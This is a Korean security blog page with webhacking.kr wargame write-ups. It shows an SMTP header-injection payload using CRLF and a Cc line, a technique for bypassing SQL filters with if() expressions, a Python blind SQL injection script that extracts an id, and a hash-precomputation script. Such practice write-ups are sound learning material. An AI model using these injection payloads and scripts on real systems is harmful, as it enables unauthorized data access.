'분류 전체보기'에 해당되는 글 438건

JAVA 5일차

2020. 4. 12. 23:54

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

해당 문제는 그렇게 어려운 문제는 아니였다.

하지만 SMTP 프로토콜을 이용한 문제를 접해보지 않았었기 때문에 기록삼아 남겨둔다.


해당 문제에 접근하면 아래와 같이 send 버튼을 통해 메일을 전송한다.


아래에서 네번째 줄을 보면 FLAG{?????} 라고 하여 메일 내용으로 FLAG 값을 전송함을 확인할 수 있다.

그래서 메일 전송을 나에게도 보내도록 하면 solve될 것이란 생각으로 접근


%0d%0a를 이용하여 개행을 시도해보니 내가 원하는 문자열이 들어감을 확인할 수 있다.


이제 나에게 메일을 보내도록 하기 위해 To: [이메일계정]을 써보았지만 메일은 오지 않았다.

위에서 작성되어있으며 Overwrite는 되지 않는 것으로 보였다.


따라서 다른 방식으로 접근을 하다가 참조로 이용되는 Cc 혹은 Bcc를 이용해보고자 하였다.

따라서 다음과 같이 subject를 입력해주면 나에게 메일이 오는 것을 확인할 수 있다.

subject=Flag+of+webhacking.kr+old+47+chall%0d%0aCc: [이메일계정]


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
블로그 이미지

rootable

,

Server-side Vulnerability

2020. 4. 9. 09:46

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Client-side Vulnerability

2020. 4. 2. 14:30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

JAVA 4일차

2020. 4. 1. 23:23

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

1. 서론

기존에 나는 [ no=3 and id='aa' ]와 같이 and 구문 이전에 특정 행을 지정을 해줘야 해당 행의 id를 가져온다고 알고 있었다.

만약 and 구문이 필터링 되어있을 경우 &&로 우회를 하였는데 이 또한 필터링 되어있을 경우에는 어떻게 원하는 행에 대해 조건 검사를 어떻게 할 수 있을지 고민해보았다.



2. 본론

(1) test 테이블 확인



(2) if 구문 조건식에 3번 행이 가지고 있는 데이터에 일치하는 조건으로 설정

 - 3번 행의 THEMA 컬럼 첫번째 문자열이 V로 시작한다. 이에 따라 예상대로라면 일치하는 데이터가 있기 때문에 true가 되어 TID=1로 세팅되어 1번 행이 출력될거라고 예상이 된다.

 - 하지만 결과는 false가 되어 TID가 2인 행이 출력된다.



(3) 참일 때의 데이터를 해당 조건식에 일치하는 행으로 지정

 - 조건식에 일치하는 행이 3인 경우이므로 참일 때의 데이터에 3을 지정해준다.

 - 그 결과는 참일 때와 거짓일 때의 데이터인 TID가 2인 것과 3인 것이 동시에 출력된다. 


(4) 거짓일 때의 데이터를 존재하지 않는 데이터로 지정

 - 조회 결과가 복수일 경우 웹 서비스에서 제대로 출력이 안될 가능성이 크기 때문에 조회 결과는 한 행만 출력되는 것이 좋다.

이에 따라 거짓일 때의 데이터를 존재하지 않는 값인 0으로 지정해준다.

 - 예상대로 3인 행만이 출력됨을 확인할 수 있다.



3. 결론

위에서 확인한 사항에 대해 생각을 해본 결과 아래와 같은 쿼리와 동일하게 동작한다고 판단이 들었다.

select * from test where TID=[참일 때의 값] and [조건식] or [거짓일 때의 값]


이를 잘 이용한다면 and 구문이나 or 구문이 필터링되었을 때 우회하는 기법으로 이용이 가능할 것이라 생각한다.


※ and 구문 우회 예시

 - [ select * from test where TID=3 and substr(THEMA,1,1)='V' and FID=1 ]과 동일한 구문




반응형

'Hacking > Web' 카테고리의 다른 글

Server-side Vulnerability  (0) 2020.04.09
Client-side Vulnerability  (0) 2020.04.02
Non alphanumeric code in PHP  (0) 2020.03.09
SQL Injection in INSERT, UPDATE and Delete Statements  (0) 2020.03.06
[root-me] NoSQL injection - Blind  (0) 2020.03.05
블로그 이미지

rootable

,
반응형

이번 문제는 기존의 생각을 뒤바꿔준 문제였다.

자세한 것은 문제를 풀며 알아가보자.



문제에 접근하면 다음과 같이 1 2 3이 있으며 1과 2를 누르면 해당 no에 해당하는 id 값이 출력된다.

이 때, 3을 클릭하면 [ no 3's id is password ] 이라는 문구와 함께 column은 id와 no라고 알려준다.


Injection이 가능한지는 다음과 같이 입력해서 알 수 있었다.

위의 입력을 통해 no=2일 때와 결과가 동일하게 나왔기 때문에 SQLi라는 것을 확인하고 진행하였다.


확인 결과 필터링이 굉장히 많았다. (필터링에 걸리면 Access Denied가 출력된다.)

내가 확인한 필터링만 해도 아래와 같다.

- %

- and, or, &&, ||

- select

- 공백

- union


가장 먼저 시도한 것은 no=3 and substr(id,1,1)='a' 이런 식이였는데 공백도 막히고 and도 막혔는데 거기에 %까지 막혀버리니;;

그래도 띄어쓰기는 괄호를 이용하여 우회할 수 있었는데 '내가 원하는 no가 3일 때의 id를 어떻게 조회를 할 수 있는가'의 개념에서 막혔다.


그래서 이에 대한 삽질의 결과가 아래 포스팅에 담겨있다.

https://rootable.tistory.com/entry/SQL-Injection-and-filter-bypass


이를 통해 no가 3일 때의 id 값에 대해 조회를 할 수 있었고 이를 기반으로 아래 파이썬 코드를 통해 패스워드를 획득할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
def calc_len(url):
    for i in range(1,20):
        param='if((length(id))in('+str(i)+'),3,9)'
        req=requests.get(url+param)
        if('Secret' in req.text):
            print("[+]Find length : "+str(i))
            return i
 
def find_id(url,length):
    id=''
 
    for i in range(1,length+1):
        for j in range(97,123):
            param="if((substr(id,"+str(i)+",1))in('"+chr(j)+"'),3,9)"
            print(param)
            req=requests.get(url+param)
            if('Secret' in req.text):
                print("[+]Find "+str(i)+"'s id : "+chr(j))
                id+=chr(j)
                break
 
    return id
 
 
url="https://webhacking.kr/challenge/web-09/?no="
length = calc_len(url)
id=find_id(url,length)
print("solve id : "+id)
cs



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
블로그 이미지

rootable

,
반응형

문제에 접근하여 소스코드를 보면 다음과 같이 나와있다.

1
2
3
4
5
6
7
<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'== $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'= $hash;
  for($i=0;$i<500;$i++$hash = sha1($hash);
?>
cs


분석해보자면 세션에 chall4 값이 존재해야 하며, key값으로 제공하는 것이 세션 내의 chall4와 일치하면 solve된다.

이 때 세션의 chall4 값은 10000000와 99999999 사이의 랜덤 값과 "salt_for_you" 문자열이 붙은 값이며

우리에게 보이는 값은 해당 값을 500번 sha1 hash한 value이다.


처음에는 설마 이걸 계산해서 하라고 하겠어 라는 생각에 sha1의 취약점이라던지, type casting, loose comparison 취약점이라 생각하고 찾아보았지만 잘 나오지 않았다.


그래서 그냥 컴퓨터의 힘을 빌렸다.

아래와 같이 python 코드를 작성하여 레인보우 테이블을 만든 뒤 검색하여 풀었다.


1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
 
= open("C:\\hack_temp\\04.txt",'w')
for i in range(10000000,20000000):
    ori=str(i)+"salt_for_you"
    f.write(ori + " : ")
    for j in range(0,500):
        ori=hashlib.sha1(ori.encode('utf-8')).hexdigest()
    f.write(ori)
    f.write('\n')
 
f.close()
cs


생각보다 검색해서 잘 안나오면 그냥 파이썬 코드 작성해서 자동으로 찾아 문제 풀도록 하려했지만 금방 나와서 그냥 패스

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
[webhacking.kr] 18번 문제  (0) 2018.03.08
블로그 이미지

rootable

,